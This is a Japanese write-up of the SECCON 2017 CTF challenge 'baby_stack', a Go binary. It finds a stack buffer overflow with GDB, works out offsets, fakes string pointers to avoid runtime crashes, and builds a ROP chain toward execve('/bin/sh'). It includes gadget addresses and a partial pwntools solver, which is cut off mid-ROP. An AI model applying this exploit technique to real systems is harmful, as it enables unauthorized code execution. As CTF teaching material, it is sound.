問題
問題文
Can you do a traditional stack attack?
配布ファイル
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ file baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=bcdb5e02c0606a4c9dd06d1e0dc56dc8564db722, with debug_info, not stripped mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ checksec baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 [*] '/home/mc4nf/ctf/seccon2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
実行ファイルに file
コマンドと checksec
を用いると、
実行ファイルのアーキテクチャはx86-64、
セキュリティ機構は、RELRO、SSP (Stack Smashing Protection)、PIEが無効で、NXのみ有効であることがわかる。
方針
この問題では、実行ファイルのみ配布され、問題のソースコードが配布されていない。 このため、問題を解くために以下の手順で脆弱性の調査を行う。
- 配布された実行ファイルを動作させ、プログラムの脆弱性を特定
- 特定した脆弱性を利用してシェルの起動
1. 配布された実行ファイルの脆弱性の特定
TODO 実行ファイルの動作の確認
とりあえず、配布された実行ファイルの動作がわからない限り何もわからないので、早速実行してみる。
mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 Please tell me your name >> hoge Give me your message >> fuga Thank you, hoge! msg : fuga
実行してみると、 Please tell me your name >>
の文字列の表示の後に1回目の入力(ここでは hoge
を入力)、
Give me your message >>
の文字列の表示の後に2回目の入力(ここでは fuga
を入力)を促された。
また、2回の入力が終わると、それぞれ入力した文字列が画面上に表示され、プログラムが終了した。
問題のタイトルや、実行ファイルに対しSSPが適用されていないことなどから、大量の文字を入力し、スタックバッファオーバフローの脆弱性が存在しているか確認してみる。
mc4nf@mc4nf:~/ctf/seccon2017/baby_stack$ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 Please tell me your name >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Give me your message >> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb panic: runtime error: growslice: cap out of range goroutine 1 [running]: panic(0x4e4800, 0xc820076280) /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6 fmt.(*fmt).padString(0xc82007ae28, 0x6262626262626262, 0x6262626262626262) /usr/lib/go-1.6/src/fmt/format.go:130 +0x406 fmt.(*fmt).fmt_s(0xc82007ae28, 0x6262626262626262, 0x6262626262626262) /usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fmt.(*pp).fmtString(0xc82007add0, 0x6262626262626262, 0x6262626262626262, 0xc800000073) /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fmt.(*pp).printArg(0xc82007add0, 0x4c1c00, 0xc820076260, 0x73, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fmt.(*pp).doPrintf(0xc82007add0, 0x5220a0, 0x18, 0xc820045ea8, 0x2, 0x2) /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fmt.Fprintf(0x7f1b1267a1c0, 0xc82008c008, 0x5220a0, 0x18, 0xc820045ea8, 0x2, 0x2, 0x40beee, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fmt.Printf(0x5220a0, 0x18, 0xc820045ea8, 0x2, 0x2, 0x20, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:197 +0x94 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e
とりあえず、何も考えずに大量の文字列を入力したところ、プログラムがエラーを出力し終了した。
ここで、出力されたエラーを見てみると、 fmt.(*pp).fmtString
などの引数に 0x62626...62
がよく表われる。
0x62
はASCIIコードで 'b'
を表わすことから、2回目の入力においてスタックバッファオーバフローが発生していると予想できる。
また、ここでエラーコードに back_stack.go
や goroutine 1
という文字列があることから、問題のプログラムはGo言語で書かれていたこともわかる。
GDBを用いた動的解析
それでは、だいたいの実行ファイルの動きと脆弱性の存在する箇所の検討がついたことから、GDBを用いて実行ファイルの動きを追ってみる。
まず、2回目の入力が促されたタイミングでプログラムを停止し、関数の呼び出し履歴を確認してみる。
[#0] 0x496a54 → syscall.Syscall() [#1] 0x4957af → syscall.read(fd=0x0, p={ array = 0xc820094005 "", len = 0xffb, cap = 0xffb }, n=0xc82001ea0c, err={ tab = 0x0, data = 0x0 }) [#2] 0x49529d → syscall.Read(fd=0x0, p={ array = 0xc820094005 "", len = 0xffb, cap = 0xffb }, n=0xc820000180, err={ tab = 0x0, data = 0x0 }) [#3] 0x46aa23 → os.(*File).read(f=0xc820034008, b={ array = 0xc820094005 "", len = 0xffb, cap = 0xffb }, n=0x18, err={ tab = 0x0, data = 0x0 }) [#4] 0x46887a → os.(*File).Read(f=0xc820034008, b={ array = 0xc820094005 "", len = 0xffb, cap = 0xffb }, n=0x4ebb40, err={ tab = 0x0, data = 0x0 }) [#5] 0x46d53b → bufio.(*Scanner).Scan(s=0xc820047ec8, ~r0=0x18) [#6] 0x4011e8 → main.main()
すると、2回目の入力を行う関数は、 main.main()
の 0x4011e8
の直前に呼ばれていたことがわかる。
そこで、 main.main()
の 0x4011e8
から先で呼ばれる処理の中で、スタックバッファオーバフローを引き起こすような処理がないか確認してみる。
すると、 0x40129f
において、 main.memcpy
という関数が呼ばれていることがわかる。
... 0x40129f <main.main+671>: call 0x4014f0 <main.memcpy> ...
memcpy
は、入力された文字列を別のメモリ領域にコピーする処理を実装しているので、
この関数の呼び出し方法に起因して、スタックバッファオーバフローが発生していると推測できる。
そこで、この関数の呼び出しについて調べてみる。
まず、 main.memcpy
が呼び出されたときのスタックの状態を確認してみる。
gef➤ dereference 0x000000c820051d48│+0x0000: 0x00000000004012a4 → <main.main+676> mov rbx, QWORD PTR [rsp+0xc8] ← $rsp 0x000000c820051d50│+0x0008: 0x000000c820051db0 → 0x0000000000000000 0x000000c820051d58│+0x0010: 0x000000c820051d90 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0x000000c820051d60│+0x0018: 0x000000000000001d 0x000000c820051d68│+0x0020: 0x0000000000000ffb 0x000000c820051d70│+0x0028: 0x000000c820051d90 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0x000000c820051d78│+0x0030: 0x000000000000001d 0x000000c820051d80│+0x0038: 0x0000000000000000 0x000000c820051d88│+0x0040: 0x0000000000000000 0x000000c820051d90│+0x0048: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ← $rcx, $rbp, $rdi gef➤ 0x000000c820051d98│+0x0050: "aaaaaaaaaaaaaaaaaaaaa" 0x000000c820051da0│+0x0058: "aaaaaaaaaaaaa" 0x000000c820051da8│+0x0060: 0x0000006161616161 ("aaaaa"?) 0x000000c820051db0│+0x0068: 0x0000000000000000 <-ここから0x20バイトは空の領域が確保されている 0x000000c820051db8│+0x0070: 0x0000000000000000 0x000000c820051dc0│+0x0078: 0x0000000000000000 0x000000c820051dc8│+0x0080: 0x0000000000000000 <- ここまで 0x000000c820051dd0│+0x0088: 0x000000c820051ec8 → 0x00007ffff7f6d1c0 → 0x00000000004dfc00 → 0x0000000000000010 0x000000c820051dd8│+0x0090: 0x000000c8200a2000 → 0x0000000065676f68 ("hoge"?) 0x000000c820051de0│+0x0098: 0x0000000000000004
"aaaa..."
を入力し、 main.memcpy
の処理が終了した後のスタックの状態も確認する。
gef➤ dereference 0x000000c820051d50│+0x0000: 0x000000c820051db0 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ← $rsp 0x000000c820051d58│+0x0008: 0x000000c820051d90 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0x000000c820051d60│+0x0010: 0x000000000000001d 0x000000c820051d68│+0x0018: 0x0000000000000ffb 0x000000c820051d70│+0x0020: 0x000000c820051d90 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0x000000c820051d78│+0x0028: 0x000000000000001d 0x000000c820051d80│+0x0030: 0x0000000000000000 0x000000c820051d88│+0x0038: 0x0000000000000000 0x000000c820051d90│+0x0040: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ← $rbp, $rdi 0x000000c820051d98│+0x0048: "aaaaaaaaaaaaaaaaaaaaa" gef➤ 0x000000c820051da0│+0x0050: "aaaaaaaaaaaaa" 0x000000c820051da8│+0x0058: 0x0000006161616161 ("aaaaa"?) 0x000000c820051db0│+0x0060: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" <- 空だった領域に文字列がコピー 0x000000c820051db8│+0x0068: "aaaaaaaaaaaaaaaaaaaaa" 0x000000c820051dc0│+0x0070: "aaaaaaaaaaaaa" 0x000000c820051dc8│+0x0078: 0x0000006161616161 ("aaaaa"?) <- ここまで 0x000000c820051dd0│+0x0080: 0x000000c820051ec8 → 0x00007ffff7f6d1c0 → 0x00000000004dfc00 → 0x0000000000000010 0x000000c820051dd8│+0x0088: 0x000000c8200a2000 → 0x0000000065676f68 ("hoge"?) 0x000000c820051de0│+0x0090: 0x0000000000000004 0x000000c820051de8│+0x0098: 0x000000c820051d90 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
この2つのスタックの状態を確認してみると、 main.memcpy
呼び出し前は 0x000000c820051db0
から 0x20
バイトの領域は 0
であったものの、
呼び出し後には、 "aaaa..."
がコピーされていることがわかる。
このことから、 main.memcpy
によって2回目に入力した文字列がコピーされる領域は、 0x20
バイト確保されていることがわかる。
ここで、 0x20
バイト以上の長さの文字列を入力してみると、本来用意されていたコピー先の領域を超えて、スタックバッファオーバフローが発生することを確認できる。
... 0x000000c820051db0│+0x0060: 0x6161616161616161 0x000000c820051db8│+0x0068: 0x6161616161616161 0x000000c820051dc0│+0x0070: 0x6161616161616161 0x000000c820051dc8│+0x0078: 0x6161616161616161 0x000000c820051dd0│+0x0080: 0x6161616161616161 <- スタックバッファオーバフローが発生 0x000000c820051dd8│+0x0088: 0x6161616161616161 0x000000c820051de0│+0x0090: 0x0000000000000005 ← $rdx 0x000000c820051de8│+0x0098: 0x000000c820012180 → 0x6161616161616161 ...
ここまでの調査で、2回目の入力において、 main.memcpy
内でスタックバッファオーバフローが発生することが特定できた。
次に、この脆弱性を用いてどのようにしてシェルを起動するか考えていく。
2. 脆弱性を利用したシェルの起動
RIPの奪取
まず、シェルを起動するために、RIPを奪う必要がある。
また、配布された実行プログラムは、事前調査からSSPが無効なことがわかっている。
そこで、先程見つけたスタックバッファオーバフローの脆弱性を用いて main.main
のリターンアドレスを書き換えられないかを調査してみる。
まず、 main.main
のリターンアドレスがスタックのどこに格納されているのかわからないため、 main.main
が呼び出し直後のスタックの状態を確認してみる。
gef➤ dereference 0x000000c820051f48│+0x0000: 0x0000000000429ef0 → <runtime.main+688> mov ebx, DWORD PTR [rip+0x1903c2] # 0x5ba2b8 <runtime.panicking> ← $rsp ...
すると、スタックの先頭に、 main.main
のリターンアドレスが積まれていることを確認できる。
次に、このリターンアドレスを書き換えるために、オーバフローが発生する領域からリターンアドレスまでのオフセットを計算する。
前節から、スタックの 0x000000c820051db0
から入力文字列が格納されることがわかっている。
このため、これらの差分を計算すると、 0x198
バイトであることがわかる。
これより、 0x198
バイトの文字列を入力し、その後にアドレスを格納することで、リターンアドレスを書き換えることができると考えられる。
そこで、早速 0x198
バイトの文字列 + 8
バイトの文字列(リターンアドレス)を入力し、GDBで先程リターンアドレスが格納されていたアドレスを確認してみる。
1行目では、 main.memcpy
呼び出し後のアドレス ( 0x4012a4
)にブレークポイントを打っている。
gef➤ b *0x4012a4 gef➤ g Please tell me your name >> hoge Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb gef➤ dereference ... 0x000000c820051f30│+0x01e0: "aaaaaaaaaaaaaaaaaaaaaaaabbbb" 0x000000c820051f38│+0x01e8: "aaaaaaaaaaaaaaaabbbb" 0x000000c820051f40│+0x01f0: "aaaaaaaabbbb" 0x000000c820051f48│+0x01f8: 0x0000000062626262 ("bbbb"?) ...
実行結果を見てみると、先程リターンアドレスが格納されていた 0x000000c820051f48
の内容を 0x62626262
( bbbb
)に書き換えできていることがわかる。
しかし、 main.main
のリターンアドレスへジャンプする前に、プログラムが以下のようなエラーを出力し終了してしまう。
runtime: out of memory: cannot allocate 7016996765293477888-byte block (1048576 in use) fatal error: out of memory ... goroutine 1 [running]: runtime.systemstack_switch() /usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820051b60 sp=0xc820051b58 runtime.mallocgc(0x6161616161616161, 0x0, 0xc800000003, 0xc8200a4000) /usr/lib/go-1.6/src/runtime/malloc.go:665 +0x9eb fp=0xc820051c38 sp=0xc820051b60 runtime.rawstring(0x6161616161616161, 0x0, 0x0, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:284 +0x70 fp=0xc820051c80 sp=0xc820051c38 runtime.rawstringtmp(0x0, 0x6161616161616161, 0x0, 0x0, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:111 +0xb7 fp=0xc820051cb8 sp=0xc820051c80 runtime.slicebytetostring(0x0, 0x6161616161616161, 0x6161616161616161, 0x6161616161616161, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:93 +0x6f fp=0xc820051d50 sp=0xc820051cb8 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x2f8 fp=0xc820051f50 sp=0xc820051d50 ... [Inferior 1 (process 53719) exited with code 02]
そこで、次に、このエラーを回避する方法を考える。
エラーの回避
出力されたエラーの内容を確認しただけでは、スタックのどの領域がエラーの原因であるかわからない。 そこで、patternを利用し、エラー出力から原因となるスタックの領域を特定する。
まず、 0x200
バイトのpatternを作成する。
gef➤ pattern create 0x200 [+] Generating a pattern of 512 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac [+] Saved as '$_gef0'
patternコマンドにより出力された文字列をプログラムへ入力すると、エラー出力中の値から入力した文字列の何バイト目が原因となっているか推測できる。
次に、このpatternを入力し、再度エラーを出力させる。
gef➤ runtime: out of memory: cannot allocate 7089054359331405824-byte block (1048576 in use) fatal error: out of memory ... goroutine 1 [running]: runtime.systemstack_switch() /usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820051b60 sp=0xc820051b58 runtime.mallocgc(0x6261616161616162, 0x0, 0xc800000003, 0xc8200a8000) /usr/lib/go-1.6/src/runtime/malloc.go:665 +0x9eb fp=0xc820051c38 sp=0xc820051b60 runtime.rawstring(0x6261616161616162, 0x0, 0x0, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:284 +0x70 fp=0xc820051c80 sp=0xc820051c38 runtime.rawstringtmp(0x0, 0x6261616161616162, 0x0, 0x0, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:111 +0xb7 fp=0xc820051cb8 sp=0xc820051c80 runtime.slicebytetostring(0x0, 0x626161616161617a, 0x6261616161616162, 0x6261616161616163, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/string.go:93 +0x6f fp=0xc820051d50 sp=0xc820051cb8 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x2f8 fp=0xc820051f50 sp=0xc820051d50 ... [Inferior 1 (process 38636) exited with code 02]
上記のエラーを見てみると、 runtime.slicebytetostring
の引数として、先程入力したパターンの一部である 0x6261616161616162~、~0x6261616161616163
、
および 0x626161616161617a
がエラー出力中に表示されており、これが原因でエラーが発生していると考えられる。
そこで、これらのパターンのオフセットを求めてみる。
gef➤ pattern search 0x6261616161616162 [+] Searching for '0x6261616161616162' [+] Found at offset 208 (little-endian search) likely [+] Found at offset 208 (big-endian search) gef➤ pattern search 0x6261616161616163 [+] Searching for '0x6261616161616163' [+] Found at offset 216 (little-endian search) likely [+] Found at offset 408 (big-endian search) gef➤ pattern search 0x626161616161617a [+] Searching for '0x626161616161617a' [+] Found at offset 200 (little-endian search) likely
すると、これらのオフセットは208(0xd0)番目、216(0xd8)番目、200(0xc8)番目にあたることがわかる。
また、スタックバッファオーバフローが発生しない入力をした場合のスタックの状態を見ることで、何故ここでエラーが発生したのか考えてみる。
gef➤ g Please tell me your name >> hoge Give me your message >> fuga gef➤ dereference ... 0x000000c820051e78│+0x0128: 0x000000c820051db0 → 0x0000000061677566 ("fuga"?) 0x000000c820051e80│+0x0130: 0x0000000000000020 (" "?) 0x000000c820051e88│+0x0138: 0x0000000000000020 (" "?) ...
上記の入力を行い、 main.memcpy
終了後のスタックの状態を見てみると、
先程エラーが出力された原因と考えられる場所には、2回目の入力の格納先のアドレスと格納先のサイズと思われる 0x20(32)
が格納されている。
このため、 0xc8
には何らかの文字列のアドレス、 0xd0
と 0xd8
には文字列のサイズを格納すれば良いと推測できる。
そこで、実行ファイル中に存在する文字列である "Please"
を代わりの文字列として使用する。
先程まで利用していたpatternに、上記の値を格納して、再度プログラムを実行してみる。
pattern = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac'
buf2 = list(pattern)
# msg
buf2[0xc8:0xd0] = p64(please_ptr) # string ptr
buf2[0xd0:0xd8] = p64(0x6) # string size
buf2[0xd0:0xd8] = p64(0x6) # string size
buf2 = buf2[:0x1f8-0x60]
buf2 = bytes(buf2)
すると、今度は以下のようなエラーが出力される。
Please tell me your name >> Give me your message >> fatal error: runtime: internal error: misuse of lockOSThread/unlockOSThread ... goroutine 1 [[*] Process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' stopped with exit code 2 (pid 54788) running]: runtime.systemstack_switch() /usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820051480 sp=0xc820051478 runtime.unlockOSThread() /usr/lib/go-1.6/src/runtime/proc.go:2929 +0x31 fp=0xc820051498 sp=0xc820051480 runtime.main.func2(0xc820051f87) /usr/lib/go-1.6/src/runtime/proc.go:146 +0x21 fp=0xc8200514a0 sp=0xc820051498 runtime.call32(0x0, 0x537758, 0xc820016170, 0x800000008) /usr/lib/go-1.6/src/runtime/asm_amd64.s:472 +0x3e fp=0xc8200514c8 sp=0xc8200514a0 panic(0x4e4800, 0xc82000a3c0) /usr/lib/go-1.6/src/runtime/panic.go:443 +0x4e9 fp=0xc820051548 sp=0xc8200514c8 runtime.growslice(0x4c2000, 0xc8200104c0, 0xb, 0x20, 0x616161616161617a, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/slice.go:53 +0xd3 fp=0xc8200515b8 sp=0xc820051548 runtime.growslice_n(0x4c2000, 0xc8200104c0, 0xb, 0x20, 0x616161616161615a, 0x0, 0x0, 0x0) /usr/lib/go-1.6/src/runtime/slice.go:44 +0xc7 fp=0xc820051610 sp=0xc8200515b8 fmt.(*fmt).padString(0xc82007ee28, 0x616161616161616e, 0x616161616161616f) /usr/lib/go-1.6/src/fmt/format.go:130 +0x406 fp=0xc820051730 sp=0xc820051610 fmt.(*fmt).fmt_s(0xc82007ee28, 0x616161616161616e, 0x616161616161616f) /usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fp=0xc820051760 sp=0xc820051730 fmt.(*pp).fmtString(0xc82007edd0, 0x616161616161616e, 0x616161616161616f, 0xc800000073) /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fp=0xc820051790 sp=0xc820051760 fmt.(*pp).printArg(0xc82007edd0, 0x4c1c00, 0xc82000a3a0, 0x73, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fp=0xc820051918 sp=0xc820051790 fmt.(*pp).doPrintf(0xc82007edd0, 0x5220a0, 0x18, 0xc820051ea8, 0x2, 0x2) /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fp=0xc820051ca0 sp=0xc820051918 fmt.Fprintf(0x7f4960ce11e8, 0xc82003e010, 0x5220a0, 0x18, 0xc820051ea8, 0x2, 0x2, 0x40beee, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fp=0xc820051ce8 sp=0xc820051ca0 fmt.Printf(0x5220a0, 0x18, 0xc820051ea8, 0x2, 0x2, 0x6, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:197 +0x94 fp=0xc820051d50 sp=0xc820051ce8 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e fp=0xc820051f50 sp=0xc820051d50 runtime.isExportedRuntime(0x46defd, 0x0, 0x4016ea) /usr/lib/go-1.6/src/runtime/traceback.go:638 +0xb5 fp=0xc820051f90 sp=0xc820051f50
エラーを見ると、 fmt.Printf
が原因となっていることがわかる。
また、patternが出力されている 0x616161616161616e
と 0x616161616161616f
に対応するスタックの領域がエラー箇所であると推測できる。
そこで、先程と同様に、これらのpatternのオフセットを求める。
gef➤ pattern search 0x616161616161616e [+] Searching for '0x616161616161616e' [+] Found at offset 104 (little-endian search) likely [+] Found at offset 97 (big-endian search) gef➤ pattern search 0x616161616161616f [+] Searching for '0x616161616161616f' [+] Found at offset 112 (little-endian search) likely [+] Found at offset 105 (big-endian search)
この結果から、 104(0x68)
番目と 0x112(0x70)
番目のオフセットに対応する箇所がエラーの原因であると予想できる。
ここで、先程と同様にスタックバッファオーバフローが発生しない入力をした際のものと比較してみる。
Please tell me your name >> hoge Give me your message >> fuga gef➤ dereference ... 0x000000c82004be18│+0x00c8: 0x000000c82000a2e4 → 0x0000000065676f68 ("hoge"?) 0x000000c82004be20│+0x00d0: 0x0000000000000004 ...
すると、こちらについても、 0x68
番目は1回目の入力が格納される領域のアドレスであり、
0x70
番目は入力した文字列のサイズであると推測できる。
このため、先程と同様に "Please"
の文字列を指すようにそれぞれ値を格納し、再度プログラムを実行すると、
先程までのエラーを回避し、リターンアドレスを書き換えることができる。
次に、リターンアドレスを書き換えることにより、シェルの起動を行う。
シェルの起動
RIPを奪うことに成功したため、後はROPを組んでシェルを起動できればフラグを取れそうである。 そこで、まずシェルの起動に必要なROPガジェットを考える。
一般的はシェルの起動方法として、 execve("/bin/sh", 0, 0)
を実行する方法がある。
これを実行するためには、 rax=59
、 rdi="/bin/sh"
、 rsi=0
および rdx=0
を設定し、最後に syscall
を呼び出す必要がある。
そこで、 pop レジスタ; ret;
となるガジェットを探し、それぞれのレジスタを設定する。
## 0x00000000004026da: syscall;
syscall = 0x00000000004026da
## 0x0000000000470931: pop rdi; or byte ptr [rax + 0x39], cl; ret;
pop_rdi = 0x0000000000470931
## 0x000000000046defd: pop rsi; ret;
pop_rsi = 0x000000000046defd
## 0x00000000004016ea: pop rax; ret;
pop_rax = 0x00000000004016ea
## 0x0000000000448145: pop rdx; setbe byte ptr [rsp + 0x50]; add rsp, 0x38; ret;
pop_rdx = 0x0000000000448145
それぞれ、使えそうなガジェットをropper集める。ここで、今回使用するガジェットで、 pop rdi
を行うガジェットと pop rdx
を行うガジェットはそれぞれ扱いに注意が必要である。
まず、 pop rdi
を行う pop rdi; or byte ptr [rax + 0x39], cl; ret;
は、 pop rdi
以外に rax+0x39
のアドレスと cl
レジスタの内容を or 演算する。
このため、 rax
が書き込み不可なアドレスを指していた場合、プログラムがエラーで落ちてしまう。そこで、このガジェットの呼び出し前には、 rax
が bss領域を指すようにすることでこの問題に対処する。
次に、 pop rdx
を行う pop rdx; setbe byte ptr [rsp + 0x50]; add rsp, 0x38; ret;
は、 スタック領域のアドレスに対して1バイトだけ書き込みを行う setbe
命令を行い、最後に rsp
を 0x38
バイトだけ増加させる。
ここで、 rsp
がずれると、後ろに続くROPチェーンが機能しなくなる。
そこで、 rsp
が次のガジェットを指すようにこのガジェットの後で 0x38
バイトだけパディングを行うことでこの問題に対処する。
それぞれのレジスタにスタックから値をpopするガジェットの用意ができたため、これらを用いてROPチェーンを組んでいく。
ここで、 rdi
には、 "/bin/sh"
の文字列のアドレスを格納する必要がある。
しかし、実行ファイル上には、 "/bin/sh"
の文字列は存在しない。そこで、ROPを用いてこの文字列をメモリ上に作成する。
文字列を作成する領域としては、アドレスが変わらず、メモリへの読み書きどちらも可能となるbss領域が適しているため、bss領域に "/bin/sh"
を書き込むことを考える。
文字列をメモリ上に作成する方法として、ROPガジェットを利用して作成する方法と、 write
システムコールを利用して作成する方法の2通りが考えられるが、今回は前者のROPガジェットを用いた方法を利用する。
この方法は、以下の手順で実現できる。
-
レジスタ1 (
rdi
)に文字列を書き込みたいアドレス(bss_addr
)を格納buf = p64(pop_rdi) buf += p64(bss_addr)
-
レジスタ2(
rax
)に書き込みたい文字列("/bin/sh"
)を格納buf += p64(pop_rax) buf += b"/bin/sh"
-
mov [レジスタ1], レジスタ2
の形のガジェットを利用し、レジスタ1の指すアドレスにレジスタ2の内容を書き込み## 0x0000000000456499: mov qword ptr [rdi], rax; ret; mov_rdi_rax = 0x0000000000456499 buf += p64(mov_rdi_rax)
以上のROPガジェットを組み合わせることで、リターンアドレスの書き換えからシェルを起動することができる。
最後に、上記の流れをSolverとして実装したため、Solverとその実行結果を示す。
Solver
solver
from pwn import *
filename = './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8'
chall = ELF(filename)
# socat TCP-LISTEN:8000,reuseaddr,fork EXEC:"./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8"
conn = remote('localhost', 8000)
# conn = process(filename)
# ROP Gadgets
bss_addr = 0x000000000058e000
hoge_str = 0x000000c8200a2000
## 0x00000000004026da: syscall;
syscall = 0x00000000004026da
## 0x0000000000470931: pop rdi; or byte ptr [rax + 0x39], cl; ret;
pop_rdi = 0x0000000000470931
## 0x0000000000456499: mov qword ptr [rdi], rax; ret;
mov_rdi_rax = 0x0000000000456499
## 0x000000000046defd: pop rsi; ret;
pop_rsi = 0x000000000046defd
## 0x00000000004016ea: pop rax; ret;
pop_rax = 0x00000000004016ea
## 0x0000000000448145: pop rdx; setbe byte ptr [rsp + 0x50]; add rsp, 0x38; ret;
pop_rdx = 0x0000000000448145
## static string
please_ptr = 0x521f00
please_size = 0x6
# Input name (First input)
buf1 = b"hoge"
conn.sendline(buf1)
# Input msg (Second input)
## name string
buf2 = b'a'*0x68
buf2 += p64(please_ptr)
buf2 += p64(please_size)
## msg string
buf2 += b'a'*(0xc8-len(buf2))
buf2 += p64(please_ptr)
buf2 += p64(please_size)
buf2 += p64(please_size)
buf2 += b'a'*(0x198-len(buf2))
# ROP
## rdx = 0
